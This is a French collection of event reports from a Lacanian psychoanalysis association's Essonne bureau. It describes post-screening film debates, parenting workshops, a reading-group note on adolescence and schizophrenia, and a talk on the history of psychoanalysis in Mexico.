Echos de Marne Essonne

Echo de la soirée cinéma-psychanalyse du mardi 13 juin à Orsay pour le film L’amant double de François Ozon

Isabelle Ramirez et Isabelle Magne

 

Comme Freud s’inspirait d’E.T.A. Hoffmann pour parler du surgissement de l’angoisse face à la figure du double, Laurent Dupont a brillamment déployé cette thématique de « l’inquiétante étrangeté » et du rapport au corps, après la projection du film L’amant double de François Ozon (2017), pour le public du cinéma municipal de la ville d’Orsay.

En suivant le fil de l’objet « regard », il a notamment éclairé la manière dont, dans ce film complexe, le réalisateur se joue du spectateur en faisant éclater tous les codes.

L’ambiance était à l’échange ; le public, attentif, donnait la réplique à Laurent Dupont créant un débat plein d’intérêt et joyeux tout à la fois. Laurent Dupont a abordé dans cette salle d’Orsay des concepts tels que le stade du miroir, jusqu’au joli point final, où la gente féminine de la soirée a soulevé la question de la sexualité féminine qui traverse les films d’Ozon. Ce à quoi Laurent Dupont a répondu avec humour que cette question était peut-être bien, elle aussi, de l’ordre de « l’inquiétante étrangeté »… « Sans doute y compris pour lui-même ! » conclut-il avec un clin d’œil, là encore à la suite de Freud.

Les retours de cette soirée cinéma-psychanalyse ont été très enthousiastes. Le public, séduit par les soirées précédentes, est revenu nombreux !

Le responsable de ces soirées-débats au cinéma Jacques Tati d’Orsay souhaite donner plus de consistance aux interventions de l’ACF en instaurant une régularité des rencontres. Ainsi, il nous propose d’organiser des soirées cinéma-psychanalyse tous les deux mois en suivant la programmation du cinéma.

Nous y avons répondu positivement, en choisissant la forme du cartel pour mettre au travail, au plus près de la Cité, la question de ce que le cinéma enseigne à la psychanalyse.

 

Ciné-débat sur « Corniche Kennedy »

Avec Bénédicte Julien

Isabelle Magne rencontre Bénédicte Julien pour s’entretenir au sujet de la soirée cinéma qui a eu lieu au Ciné 220 à Bretigny-sur-Orge le 23 mars 2017. 

 

Isabelle Magne est responsable du bureau de Ville de Marne-Essonne de l’Association de la Cause Freudienne, Île-de-France.

Bénédicte Julien est psychanalyste à Paris, membre de l’Ecole de la Cause Freudienne et de l’Association Mondial de Psychanalyse.

Isabelle Magne : « Bénédicte Jullien, vous êtes venue à Brétigny-sur-Orge dans l’Essonne pour animer une soirée-débat avec la salle du Ciné220 après le film « Corniche Kennedy » de Dominique Cabrera. Pouvez-vous nous dire quelques mots de cette expérience ? »

 Bénédicte Jullien : « Dans toute soirée où le psychanalyste est invité à parler du cinéma, je tente de me laisser toujours guider par cette indication de Lacan de 1965 : « Se rappeler avec Freud qu’en sa matière, l’artiste toujours le précède et qu’il n’a donc pas à faire le psychologue là où l’artiste lui fraie la voie. C’est précisément ce que je reconnais dans Le ravissement de Lol V Stein, où M. Duras s’avère savoir sans moi ce que j’enseigne »(1). À partir de cette précision, je m’interroge sur le film qui est projeté : que sait le réalisateur choisi de ce que la psychanalyse enseigne ?

(1) Lacan J., « Hommage à M. Duras », Autres écrits, Paris, Seuil, 2001, p. 192

IM : « Lors des échanges avec la salle, vous avez pointé des aspects du film que vous n’avez pas appréciés… »

 BJ : « Ce qui est amusant c’est que Corniche Kennedy pourrait contredire la proposition que je fais dans ma réponse précédente. Je n’ai pas aimé le film que j’ai trouvé peu crédible et dont j’avais l’impression qu’il ne m’apprenait rien de nouveau sur les questions des adolescents : lien social, sexualité, amour, identité, passage à l’acte… Je trouvais même qu’il multipliait de nombreux lieux communs. Mais à bien y réfléchir, je trouve que Dominique Cabrera nous révèle quelque chose du franchissement, le franchissement d’un bord, celui qui permet, dans l’acte, un changement subjectif. Le personnage de Medhi en est un bel exemple. Dans ses sauts au bord du vide de l’eau, toujours plus hauts, toujours plus risqués, il transforme un destin de délinquant en exploit sportif. Il devient un autre sujet.

 IM : « De manière plus générale, vous avez exprimé des remarques que j’ai trouvées fort intéressantes sur certains films qui sortent de nos jours ; ces films qui ne montrent plus ce qui est mis en jeu pour les personnages, comment ils en arrivent là… »

 BJ : « Ce qui me dérange dans un certain cinéma d’aujourd’hui, c’est le gros plan, et notamment sur les visages des personnages, comme si l’expression du corps serait la garantie d’une vérité, au-delà du langage. Or ce qui est passionnant de voir avec le cinéma ce sont les traces que laisse le langage sur le corps, en tant qu’il nous exile de notre identité et d’une adéquation avec notre corps. En résultent des hiatus entre la parole et le geste, des surgissements d’affects inattendus, des mots pour d’autres, des actes manqués dans le mouvement, des gaps entre l’intention et l’acte… La caméra est là pour les saisir et ainsi nous les révéler à nous-mêmes. « Platon serait comblé par cette invention », disait Jacques Lacan à propos du cinéma: « ces rayons dansants qui viennent sur l’écran manifester tous nos sentiments à l’état d’ombres ».

 

« Atelier parental » aux Ulis

Par Isabelle Ramirez

Ce jeudi 4 mai, s’est déroulé un nouvel atelier parental convivial au collège Aymé Césaire des Ulis, dans le cadre du partenariat avec la ville et les deux collèges autour du thème choisi par la ville, qui met au travail cette question du « vivre ensemble » à travers différents projets, « Tous différents mais tous respectés ».

Isabelle Magne et Isabelle Ramirez ont proposé de prendre à rebours ce qui se présente comme un idéal à partir du complexe d’intrusion et du stade du miroir pour aller vers les questions de civilisation qu’ouvre Freud à partir de son Malaise…

Un extrait du documentaire « Récréation » de Claire Simon a permis d’illustrer, à partir de la  banalité sans merci d’une cour de récréation d’une école  maternelle, l’essence ordinaire des phénomènes de ségrégation et les efforts de civilisation qui les contrent.

Une cour de récréation parisienne, un arbre et sa grille, une structure à grimper, un banc et de grappes d’enfants affairés dans leurs jeux… Et puis, Alexandre, tout seul dans son coin, dans l’interstice du banc de pierre qui jouxte le préau, près de la gouttière…  Alexandre, absolument seul, et tout absorbé par son jeu solitaire autour de son trésor, un bouquet de brindilles ramassées avec soin dans la cour… Claire Simon s’intéresse à lui car, toujours tout seul, les autres l’attaquent, éparpillent ses brindilles, « semblant se dire : qu’est ce qui est si bien pour qu’il reste tout seul ? » et Alexandre vocifère et défend bec et ongle son objet de jouissance indéchiffrable pour les autres. Une fille s’approche, et on assiste à la construction de toute une petite civilisation autour d’Alexandre et ses brindilles, illustrant avec évidence les propos freudiens…

Comme d’habitude, l’échange avec la salle a été très riche, permettant à chacun de se saisir de cette question qui prend ses racines dans la petite enfance et les complexes familiaux, ce dont ont largement témoigné les parents, apportant volontiers au répertoire des scenettes  se jouant sur la scène familiale.

Du côté de l’équipe enseignante c’est principalement la question de la fonction de leur présence dans la cour de récréation qui a émergée, mais également celle de l’intégration de la classe de SEGPA qui se décline, là encore, au cas par cas. L’équipe pédagogique a à nouveau témoigné de leur propre « pratique à plusieurs » !

Un partenariat que nous espérons pouvoir poursuivre !

 

 

Echo de la soirée au cinéma Jacques Tati à Orsay autour du film

« Juste la fin du monde »

Par Isabelle Magne responsable du Bureau de Ville Marne Essonne

A Orsay, grâce à la rencontre avec Isabelle Ramirez et Camilo Ramirez, le responsable des soirées « Universciné » du cinéma Jacques Tati, monsieur Guy Magen, accueille pour la seconde fois l’ACF IDF pour discuter avec le public après une projection.

Après Baccalauréat de Cristian Mungiu, en décembre 2016, c’est autour du film « Juste la fin du monde », de Xavier Dolan, que le débat s’est déroulé. Francesca Biagi Chai et Xavier Gommichon ont proposé leur lecture du film pour susciter des échanges avec la salle.

Quelques mots de ces lectures. Xavier Gommichon a situé le film d’après la pièce éponyme autobiographique de Jean-Luc Lagarce.

Francesca Biagi-Chai a remarquablement déployé la question de la place et du comment faire de chacun dans la famille quand un des leurs à un rapport au langage pour lequel il n’y a pas d’au-delà. Ainsi, le personnage principal n’est pas Louis mais Antoine. Les discours ou les silences de chacun se constituent selon la souffrance d’Antoine. La mère le protège ; Louis, auteur reconnu, ne parle qu’au travers de ses œuvres ; Catherine, l’épouse d’Antoine, balbutie et reste sur le qui-vive…

La discussion dans la salle s’est animée à propos de la paranoïa, des sujets en analyse qui deviennent analyste, de ce que c’est que parler en analyse…

Sans oublier les ponctuations de Guy Magen, cinéphile averti et passionnant !

Une soirée cinéma-psychanalyse importante pour transmettre ce qu’il peut en être du rapport au langage pour un sujet.

Echo de la soirée au ciné220 de Brétigny autour du film « Le ciel attendra »

Par Isabelle Magne responsable du Bureau de Ville Marne Essonne

«Nous sommes là pour faire ce passage là ».

Cette phrase de Francesca Biagi-Chai prononcée lors de la soirée cinéma-psychanalyse à Brétigny-sur-Orge autour du film « Le ciel attendra » illustre toute l’utilité et l’importance de l’ACF, des analystes, à de telles rencontres au sein de la Cité.

Le bureau de ville Marne-Essonne avec le ciné220 de la ville de Brétigny organise régulièrement des soirées-débats. Cette fois là, à partir du film « Le ciel attendra » de Marie-Castille Mention-Schaar, qui traite de la question de la radicalisation des jeunes, ont été invité des enseignants et leurs élèves du Lycée professionnel de la ville. La salle était comble!

Les applaudissements en fin de film témoignaient de l’impact du film sur les jeunes. Francesca Biagi-Chai a alors ouvert le débat en soulignant que ce film est en effet efficace mais « à condition d’en parler ». Ce que le film ne montre pas, c’est par quel chemin ces jeunes filles, dont la réalisatrice raconte l’histoire, sont passées pour basculer dans le djihadisme.

Y avait-il déjà eu des ruptures dans l’enfance ? Quels liens avaient-elles avec certaines personnes ?…

Il y a un écart entre le film et la réalité par le fait que le film ne rapporte pas ce qui aurait été important de connaître pour contribuer à former l’opinion à entendre ces jeunes. Or les djihadistes eux, savent attraper une personne perturbée dans sa personnalité, par des détails de sa vie et pas uniquement via les réseaux sociaux.

Les lycéens ont posé quelques questions, comme celle de savoir comment empêcher quelqu’un de partir ?

Francesca Biagi-Chai a retourné la question sur celle de savoir comment on se parle les uns aux autres dans un monde où la solitude a pris beaucoup de place ? Avoir une famille ne suffit pas, il faut un système entre le jeune et la famille.

Francesca Biagi-Chai a cité l’expérience d’un lieu, dans lequel elle est intervenue, où n’importe qui (parents, jeunes, membres de la famille, ou bien copain…), pouvait venir parler de n’importe quoi, car les jeunes seront attrapés ainsi, « par n’importe quoi ».

Interview de Carolina Koretzki, Membre de l’ECF, dans l’après-coup de la projection-débat de Julieta

Par Isabelle Magne responsable du Bureau de Ville Marne Essonne

 

Chère Carolina Koretzky, vous êtes venue à Brétigny-sur-Orge le 6 octobre pour parler du dernier film de Pedro Almodovar, Julieta, avec le public du ciné220. Brétigny-sur-Orge est une ville de la banlieue parisienne, précisément en Essonne. Qu’aimeriez-vous nous transmettre de cette expérience?

J’ai beaucoup aimé cette expérience. Ce n’est jamais très simple de parler d’un film que l’invité a déjà vu et que le public découvre. Le moment du passage vers le débat n’est jamais très commode car le public émerge de cette immersion dans une histoire où l’expérience cinématographique engage chaque spectateur, tandis que la discussion demande un certain recul. C’est toujours un moment délicat qui tient plus à la contingence qu’au calcul. Pourtant, ce soir-là, j’ai trouvé un public attentif, actif, et très juste dans les commentaires ! Je suis sortie enrichie. J’espère que ce type de soirées seront toujours soutenues par les salles de cinéma, cela rend présente la psychanalyse dans la cité de façon vivante.

Vous avez mis en valeur au cours de votre intervention la structure de la tragédie antique grecque que l’on retrouve dans le style qu’a choisi Almodovar pour Julieta, avec la répétition de l’inexorable destin. Aussi, à partir d’une interview de l’auteur, vous avez proposé un fil rouge pour une lecture du film. Dans ses propos, Pedro Almodovar suggère en effet de ne pas trop s’identifier à l’héroïne du film…Cela vous a conduit sur quelles pistes de réflexion?

 Pour moi, ce film est une véritable tragédie, une tragédie grecque moderne,  non pas uniquement parce que le personnage vit quelque chose de « tragique », mais parce qu’il y a une idée de « destin » qui parcours le film, de cet « até » qui écrasait le héro tragique des grecs. Nous avons le sentiment que l’histoire de Julieta est l’histoire d’une fatalité, d’un « fatum » qui s’abat sur elle depuis la rencontre avec Xoan. N’oublions pas le clin d’œil du film : Julieta est professeur de grec. En effet, en lisant une interview, Almodovar dit à propos de ce film que pour pouvoir le lire, il faut chercher à aller au-delà de la douleur et des larmes de Julieta. Pour lui, la clé du film est dans les « fissures », dans les ellipses. J’ai donc fait confiance à cette indication d’Almodovar -réalisateur que par ailleurs j’admire profondément-, et cela m’a amené à interroger la vérité de la position de Julieta au-delà de sa douleur. Cette femme a un drôle de rapport au savoir … J’ai donc lu ce film à la lumière de ce que Lacan appelle : la passion de l’ignorance.

Enfin, au sujet du regard des femmes et plus particulièrement des actrices, vous avez relevé ce que Pedro Almodovar en dit, pourriez-vous nous en faire part?

Oui ! J’avais trouvé une remarque absolument formidable d’Almodovar. On lui a demandé pour quelle raison il a utilisé deux comédiennes différentes pour la Julieta jeune (Ariana Ugarte) et pour la Julieta plus âgée (Emma Suarez), alors qu’il aurait pu très bien vieillir la première Julieta à l’aide des techniques modernes de maquillage. A cette question Almodovar répond que cela lui semblait impossible car on peut absolument tout changer de l’apparence de quelqu’un, tout transformer… sauf son regard, le regard est impossible à vieillir. Le regard intense et vorace d’Adriana Ugarte était impossible à modifier alors que pour la deuxième partie du film Almodovar avait besoin du regard d’une femme anesthésiée par la culpabilité.

Parler la langue de l’autre

Par Catherine Kempf

Le jeudi 12 mai 2016, à la crèche familiale des Diabolos à Lardy a eu lieu la soirée Reaap (Réseaux d’écoute d’appui et d’accompagnement des parents).

Grâce au travail de terrain de la responsable du bureau de ville Marne-Essonne, Isabelle Magne et d’Isabelle Ramirez, j’étais invitée en tant que psychanalyste à une réunion visant à l’accompagnement à la parentalité sur le thème : Parler avec/à son enfant : de quoi? Comment ?

Il s’agissait dans un premier temps de répondre aux questions de l’affiche, construites par les parents eux-mêmes et ensuite de converser avec eux afin d’expliciter ensemble les dites questions.

Plutôt que de rentrer dans une position de maîtrise pour dire ce qu’ils ne sauraient pas sur la question, j’ai privilégié la position consistant à favoriser les échanges entre eux et moi, les échanges entre eux, afin de s’enseigner mutuellement. L’important était aussi de faire saisir qu’il n’y a pas de réponse universalisante mais du cas par cas, chaque famille est unique et dans chaque famille, l’enfant est unique. Pas de réponse pour tous.

Hormis ceux qui étaient dans une position de maîtrise, de certitude, le questionnement principal tournait évidemment autour du sentiment de ne pas suffisamment bien faire son « travail » de parents lié au sentiment de culpabilité. Leurs échanges étaient très pertinents, chacun pouvant exposer librement son expérience et sa position. Dans ce groupe, le respect mutuel était patent.

Ils sont ainsi partis confortés avec l’idée de départ qu’il vaut mieux parler avec les enfants. Cependant ils ont entendu de ma part que tout ne peut pas se dire, idée venant à contrario du sens commun actuel.

Ce fut une soirée rafraîchissante, émouvante parfois.

Un écho du groupe   » La jouissance, les jouissances »

Adolescence et schizophrénie

par Huguette Béchade – juin 2016

Les membres du groupe se sont interrogés sur  » la jouissance de l’Autre », notion qui demande à être un peu éclaircie.
Il s’agit de la jouissance qui se trouve en deça du phallique, celle que l’on trouve au niveau du 1er quanteur des formules de la sexuation. En deça du phallique et écrite à cette place par Lacan, nous nous trouvons bien au niveau de la jouissance du psychotique. Et nous nous sommes interrogés, grâce à un exemple clinique apporté par un participant, sur la schizophrénie.

L’adolescence est une période de l’invention.
L’adolescent doit inventer sa construction d’un être social, d’un être de la connaissance et d’un être sexuel.
Il aura à inventer les modalités de son lien à autrui, les modalités de son lien à la connaissance et les modalités de son lien à l’ ( A)autre sexe.
Rien, dans ces trois domaines, ne lui est, ne lui sera donné. Il va donc – c’est de l’obligé, comme aussi c’est de l’impossible soit jamais d’une manière définitive ni absolue – il va inventer ses conduites dans ces trois domaines, ceci au sens le plus sincère du sens ( le plus vrai ).
La personne qui a une structure schizophrène, on le sait de par la clinique et de par la théorie, est incapable de faire ces inventions- là : bien d’autres inventions, artistiques, de conduite, de pratiques lui échoient et l’emportent, mais pas celle-là.
Jusqu’à cette adolescence, les modèles lui sont divers et nombreux, il fait comme les normes alentour. Cela ne provoque aucun étonnement de la part de quiconque de son entourage, aucune question et tout va de soi.
Puis, qu’est-ce qui se présente ? chute scolaire, problèmes avec les voisins, difficultés avec le sexuel, ce domaine soit-il simplement évoqué ou entrevu.
Le diagnostic est rapidement établi, à la condition, bien sûr de discerner et de prendre en compte les habituelles impasses qui sont celles qui arrivent à chacun des dits « adolescents » ( et concernant ces trois constructions qui leur incombent toujours, quelle que soit leur structure ).
Je vais terminer en vous faisant part de la phrase la plus terrible que j’ai entendue au cours de toute mon activité d’analyste . Gabriel, 19 ans, me dit, dans un mouvement affolé et dévasté de certitude : « ça me rend fou de me voir devenir fou ».

Un « atelier parents » aux Ulis

Par Isabelle Magne et Isabelle Ramirez

Membres du bureau de ville Marne-Essonne, nous avons participé à un « Atelier parents » organisé par la municipalité des Ulis le 19 mai 2016. Invitées par les collèges Aimé Césaire et Mondétour, des familles se sont déplacées pour venir échanger autour du thème de l’adolescence.

C’est une expérience dans la Cité toute nouvelle en Essonne. Un jeune garçon aurait poussé sa mère à s’y rendre en lui disant : « Vas-y pour que tu vois comment je me sens ».

En guise d’introduction, nous y avons déplié une présentation de l’adolescence scandée par des passages du documentaire « Quelle classe ma classe ! » de Philippe Troyon. «Un moment fragile et délicat, ou l’on est «ni, ni », « plus et pas encore », mais où se joue, parfois tout en douceur, parfois avec fracas, l’avenir de son être de femme ou d’homme.

Et pour tous ces grands chantiers qui font vaciller les repères et bien, pas de mode d’emploi ! L’adolescent doit se débrouiller seul pour s’inventer à nouveau, d’où parfois ce grand sentiment de solitude qui peut l’envahir, cette espèce d’irruption d’une nouvelle tristesse jusque-là inédite, ou d’angoisse diffuse qui peut lui donner le sentiment d’être incompris, un peu comme « seul sur mars », selon les dires d’un collégien.

Cette ouverture a résonné chez les parents et la discussion qui s’en suivie fut en effet animée et riche.

Avoir un adolescent c’est « un vrai tsunami ! », pour reprendre le mot d’une mère. Les parents ont souligné l’importance de ces espaces de paroles pour parler de leurs angoisses. Ils témoignent des relations qui peuvent s’assouplir avec leurs ados quand ils ont pu repérer chez eux-mêmes cette part d’angoisse.

Ce père qui surveillait constamment les notes de son fils via le site internet « Pronote » des collèges raconte comment les dires de son fils l’ont arrêté : « Il m’énerve, je n’ai même plus le plaisir d’annoncer ma bonne note ! ».

Les adolescents n’étaient pas là lors de cette rencontre, mais ce sont leurs parents qui, en rapportant leurs mots, leurs paroles, leur langage, leurs ont fait une place dans leur discours.

Retour sur la rencontre débat « parents d’ados » de la médiathèque des Ulis (91)

Par Assia Gouasmi-Chikhi et Alice Ha Pham

Pour la deuxième fois l’ACF-IdF intervenait à la médiathèque François Mitterrand des Ulis pour une rencontre débat « parents d’ados ». Ces rencontres, mises en place par la directrice de la médiathèque depuis plusieurs années, font partie intégrante de la programmation habituelle de la médiathèque. Elles ont lieu environ une fois par trimestre. Samedi 5 mars c’était la deuxième fois que la médiathèque nous sollicitait pour animer une de ces rencontres.

Lors de cette rencontre avec les parents, il s’agissait d’animer un débat autour de la question du corps, sous le titre « Les embrouilles du corps à l’adolescence ». De nombreuses familles étaient présentes, essentiellement des mères d’adolescent(e)s. Un père et quelques ados ont également participé au débat.

Nous avons proposé une présentation à deux voix l’une parlant davantage de la question de la rencontre avec un analyste à l’adolescence, l’autre plutôt de l’irruption du sexuel à l’adolescence. Et cela en nous appuyant sur les travaux de nos collègues de l’ECF, les ouvrages d’Hélène Deltombe1 et d’Hélène Bonnaud2, l’intervention de clôture de la 3ème journée de l’Institut de l’Enfant de Jacques-Alain Miller3 ainsi qu’un texte d’Hélène Bonnaud4 publié sur le site de l’ECF.

Nous avons fait une présentation simple, au plus près de ce qui peut être entendu par un public large, qui puisse à la fois résonner pour chacun et permettre de se saisir de certains signifiants pour le débat. Nous sommes parties de l’idée qu’ « Il n’est pas d’adolescence sans symptômes, visibles ou cachés »5 pour arriver au cas de Tom qui « A vingt-huit ans, […] est passé de l’enfance à l’âge adulte sans s’en apercevoir »6 Ce cas clinique a soulevé bien des questions et a permis de lancer le débat. Les parents présents étaient très intéressés, attentifs et concernés par le thème, revenant même sur leur propre adolescence et sur la manière dont, au cas par cas, chacun a su y faire avec ses propres embrouilles du corps. Un adolescent présent, sollicité par des parents, a pris la parole pour dire que pour lui « ça se passe bien », qu’il est dans le dialogue avec ses parents, mais qu’il observe les difficultés évoquées, notamment vis-à-vis des parents, dans son entourage – amis ou camarades de classe. La parole de chacun était libre et authentique.

Les références des livres, que nous avions pris soin d’apporter et de présenter, nous ont été demandées par certains parents et par la médiathèque. La discussion entre les parents, qui ne se connaissaient pas, s’est même poursuivie à l’extérieur de la médiathèque, permettant le nouage de nouveaux liens.

Nos interventions à la médiathèque sont à poursuivre dans le cadre de l’ACF-IdF avec le projet d’une prochaine rencontre en octobre 2016 autour de la question du traitement de l’actualité à l’adolescence.

1 Deltombe H. Les enjeux de l’adolescence. Ed. Michèle, Paris, 2010

2     Bonnaud H. Le corps pris au mot, Ce qu’il dit, ce qu’il veut.  Ed. Navarin, le champ freudien, 2015

3     Miller J.-A. En direction de l’adolescence. Intervention de clôture à la 3e Journée de l’Institut de l’Enfant, Avril 2015

4     Bonnaud H. http://www.causefreudienne.net/rencontrer-un-psychanalyste-a-ladolescence/

5     Deltombe H. Ibid. p. 26

6     Bonnaud H. Ibid. p. 27

Echos de la soirée-débat du vendredi 26 février au Ciné220 de Brétigny-sur-Orge (91) autour du film « MEN, WOMEN AND CHILDREN » de Jason Reitman

Isabelle Magne

Le « Point information jeunesse » de la ville de Brétigny-sur-Orge organisait une semaine thématique portant sur la jeunesse et le numérique. Toute la semaine, des ateliers, des débats, des films ont suscité les échanges avec les habitants de cette banlieue.

La soirée-débat pour laquelle le Ciné 220 a sollicité l’ACF IDF clôturait ce projet du « Point Information Jeunesse ». A cette occasion, Pierre-Ludovic Lavoine et des membres du BV Marne-Essonne ont pu rencontrer la directrice de cet organisme municipal ; c’est un pas de plus dans la cité !

Bénédicte Jullien et Alice Ha Pham sont venues échanger avec le public qui avait la particularité ce soir-là de représenter plusieurs générations.

Adapté du roman de Chad Kulten, le film brosse le portrait de lycéens et de leurs parents qui doivent affronter l’impact des nouvelles technologies sur leurs relations, le langage, l’image qu’ils ont d’eux-mêmes et leur vie amoureuse.

Le débat, animé, a mis en évidence des points forts de ce film :

La question de l’existence qui est posée par la voix d’un adolescent lecteur de Karl Sagan. Celle de la solitude de chacun face à son existence à une époque où les croyances s’étiolent. Le fait que les technologies ne comblent pas le manque de savoir sur la sexualité et que personne ne sait comment elles influenceront les jeunes. Internet est aussi discuté à propos de l’effraction de la pornographie et du fait qu’il n’y ait plus de limites aux espaces privés. Pour finir, citons une autre discussion parmi d’autres, celle portant sur les effets des symptômes des parents sur leurs enfants : l’angoisse d’une mère pour sa fille, autour des réseaux sociaux, conduit le petit-ami de la jeune fille à une tentative de suicide. Ce personnage a suscité un vif échange, le public est touché par la toxicité de cette mère et Bénédicte Jullien ouvre la discussion avec cette remarque : la fille de cette mère qui contrôle tout est la seule adolescente qui fait une rencontre amoureuse…

Echo de la projection « L’ombre des femmes »

Isabelle Ramirez et Isabelle Magne

Jeudi 5 novembre 20h. J45 – 10. Coup d’envoi au cinéma Jaques Tati d’Orsay.

C’est devant une salle bien remplie que Xavier Gommichon et Camilo Ramirez ont partagé leur lecture et dialogué avec le public autour de la projection du film « L’ombre des femmes » de Philippe Garrel qui se prête à merveille pour introduire le thème de nos journées, formidable préambule.

Comment faire couple alors que les exigences de la vie amoureuse côté homme et côté femmes répondent à deux logiques si différentes, hors rapport sexuel ?

Grâce à un aller retour subtil entre ce que nous enseigne le film et la clinique recueillie par le psychanalyste, l’éclairage de la psychanalyse a brillé comme un cristal !

Et, cerise sur le gâteau, l’équipe du cinéma, qui propose un pot à chaque fin de soirée –débat, a eu l’initiative de déposer nos flyers sur la table dressée à cet effet. Le petit verre a alors été une nouvelle occasion d’échanger et de partir avec un flyer, un marque-page des Journées !

Echos de la projection de SELMA, vers PIPOL 7 « Victimes ! », en mai 2015

Isabelle Magne

Au cœur de Brétigny-sur-orge, le cinéma du centre-ville, le « Ciné220 », accueille  depuis quelques temps l’ACF pour la projection de films sur l’autisme. Cette année nous avons inauguré une nouvelle manière d’exister dans la ville.

Sensible au thème des prochaines Journées PIPOL, la responsable du cinéma nous a proposé d’intervenir après la projection de Selma d’Ava DuVernay, programmée en mai dans la série des « soirées-débat » du Ciné220.

Ces « soirées-débat » sont planifiées pour l’année autour de films choisis par la responsable du cinéma. Le public, des habitants de Brétigny essentiellement, peut s’y abonner ou bien venir librement. Certains viennent voir le film sans même savoir qu’il sera suivi d’un débat…

Selma relate un évènement dont on fête le 50ème anniversaire cette année. En mars 1965, environ deux ans après l’assassinat de John Fitzgerald Kennedy et deux ans après le célèbre discours «I have a dream » prononcé le 28 Août 1963 par Martin Luther King, sont menées trois marches partant de Selma en direction de Montgomery, dans l’état de l’Alabama. Ces marches de protestation aboutiront au « Voting rights acts » que le Président Johnson fit adopter1.

Il s’agissait donc là d’échanger avec un public « tout-venant » ! Défi relevé par France Jaigu et Xavier Gommichon. Le public s’est passionné pour l’éclairage de France Jaigu concernant le parti pris de la cinéaste. À partir d’une scène-clé, France Jaigu a mis en évidence le changement de position du Pasteur King : lors de la seconde marche, face au barrage policier, les manifestants s’agenouillent, prient, puis font demi-tour, renonçant ainsi à se faire victimes, à choisir la fonction de martyrs.

En ouvrant la conversation avec les paires « victime/bourreau », « bon/méchant », Xavier Gommichon a suscité des réflexions et des questions dans le public, dont certaines témoignent que quelque chose du discours de la psychanalyse « a pris » dans le public. En voici un bel exemple : « Quand on se dit victime, n’y trouve-t-on pas quelque bénéfice ? » !

 

 

 

 

 

                                                                                                                                            

[1] Le Voting Rights Act (Loi sur les droits de vote) est une loi du Congrès des États-Unis qui a été signée par le président Lyndon Johnson le 6 août 1965. Bien qu’en théorie les Afro-Américains disposaient du droit de vote depuis 1870, depuis le vote des 14e et 15e amendements de la constitution des États-Unis, le droit de vote dans certains États du sud était subordonné à la réussite à un test de type scolaire qui avait pour objectif d’empêcher le vote des Noirs, même pour ceux qui avaient certainement les aptitudes requises. De plus, une taxe était souvent requise avant de voter, que la plupart des Noirs n’avaient pas les moyens de payer.

Le Voting Rights Act supprima entre autres ces restrictions et permit donc à toute la population noire de voter. Le président George W. Bush a signé son extension pour 25 ans le 27 juillet 2006.

 

 

Écho de la soirée « Histoire de la psychanalyse au Mexique »

Mariana Alba De Luna et Véronique Outrebon

Le 28 mai dernier nous avons organisé avec l’Association Franco-Mexicaine de Psychanalyse LaZo(s), la NEL-Mexico et l’ACF-IDF, la première rencontre à Paris autour de l’histoire de la psychanalyse au Mexique. Nous avons été accueillis dans la très belle salle de l’Université de Chicago à Paris.

Cette rencontre, ouverte à toute personne intéressée, a eu le mérite de voir réunis les acteurs de notre temps qui écrivent de nouveau l’histoire et la questionnent. Ceux qui écrivent l’histoire, il est bien connu, ce sont les étudiants. Étudiants d’un jour, d’une période, étudiants toujours. Nous sommes donc venus tous en étudiants questionner les possibles origines de la psychanalyse dans ce pays si surréaliste qu’est le Mexique. Les étudiants doctorants en psychologie, psychanalyse et histoire, ont répondu à notre invitation, accompagnés des étudiants de la psychanalyse que nous sommes tous quand le savoir nous questionne et que nous le laissons nous questionner.

Elena Monges, historienne mexicaine, nous a présentés une partie de sa recherche autour du premier manicomio d’État (Maison des fous) : La Castañeda. Construction commandée et inaugurée en 1910 par le président mexicain Porfirio Diaz qui voulait faire de son pays une autre France. Nous avons constaté que derrière les belles pierres édifiées, il s’édifia également comme ailleurs, la ferme volonté de ségrégation et d’ordre moral imposé qui veulent mettre hors de vue ceux qui dérangent. La division de la population entre folie et raison, valides et déviants était encore en marche. Le corps des femmes prostituées enfermé avait été utilisé pour tenter de cataloguer la folie. L’imaginaire collectif qui construisit ce lieu, fait à l’image de l’hôpital d’Auxerre et autres hôpitaux français visités par une commission mexicaine d’experts dans ces années-là, continue d’être en grand partie, les ciments et le socle de l’orientation hygiéniste qui de nos jours plane encore comme un fantôme dans les hôpitaux psychiatriques mexicains. Autre détail : voulant protéger la population des ces fous et d’une possible contagion, ils les avaient mis derrière les murs, loin de la métropole. Avec le temps, les habitants des bourgades avoisinantes se sont mis à régler leur vie quotidienne au rythme des sonneries hebdomadaires qui réglaient la vie de La Castañeda ! Le temps des fous était venu régler leur normalité supposée. L’heure des fous fit irruption dans le temps des villageois. Le leurre de la division voulue par le grand Autre échoua, laissant la fluidité psychique faire son œuvre.

Carolina Becerril, a fait ses études dans les années 70 autour des associations psychanalytiques naissantes dans la ville de Mexico. Des médecins psychiatres étaient de retour des pays où ils étaient eux-mêmes allés chercher une formation psychanalytique (Angleterre, Argentine, USA et France). Ils imposèrent à leurs analysantes désireuses de s’installer, le veto de l’usage du divan et du mot psychanalyse. Ils les nommèrent Las Viudas de Freud (les veuves de Freud). La reconnaissance ne pouvait venir pour eux que de leur croyance dans les préceptes de l’IPA qui réglementait leurs querelles et frustrations, et comptabilisait l’ascension en donnant des « garanties » en fonction du nombre de séances et des supervisions suivies. Ana Vigano, notre invitée, nous fit remarquer que pour eux, dans cette nomination outrageuse se cachait probablement la mise à mort qu’ils avaient déjà fait de Freud.

Carlos Gomez Camarena, en doctorat à Paris VII, aborda avec beaucoup de sagacité la façon dont, comme au Mexique, le monde de l’art et du théâtre avait été aussi un des premiers lieux où l’on avait cherché à interpréter la psychanalyse et ses effets. Il nous invita à revisiter l’œuvre de théâtre Feliz nuevo siglo Doktor Freud de Sabina Berman (d’ailleurs fille d’une des psychanalystes dites Viuda de Freud) autour du cas Dora, avec les yeux de Bruno Bosteels, critique littéraire. Boostels affirme qu’aucune histoire de la psychanalyse en Amérique Latine, ne peut être complète sans prendre en compte les développements créatifs, artistiques ou les fictions qui vont parfois plus loin que les dispositifs cliniques et institutionnels.

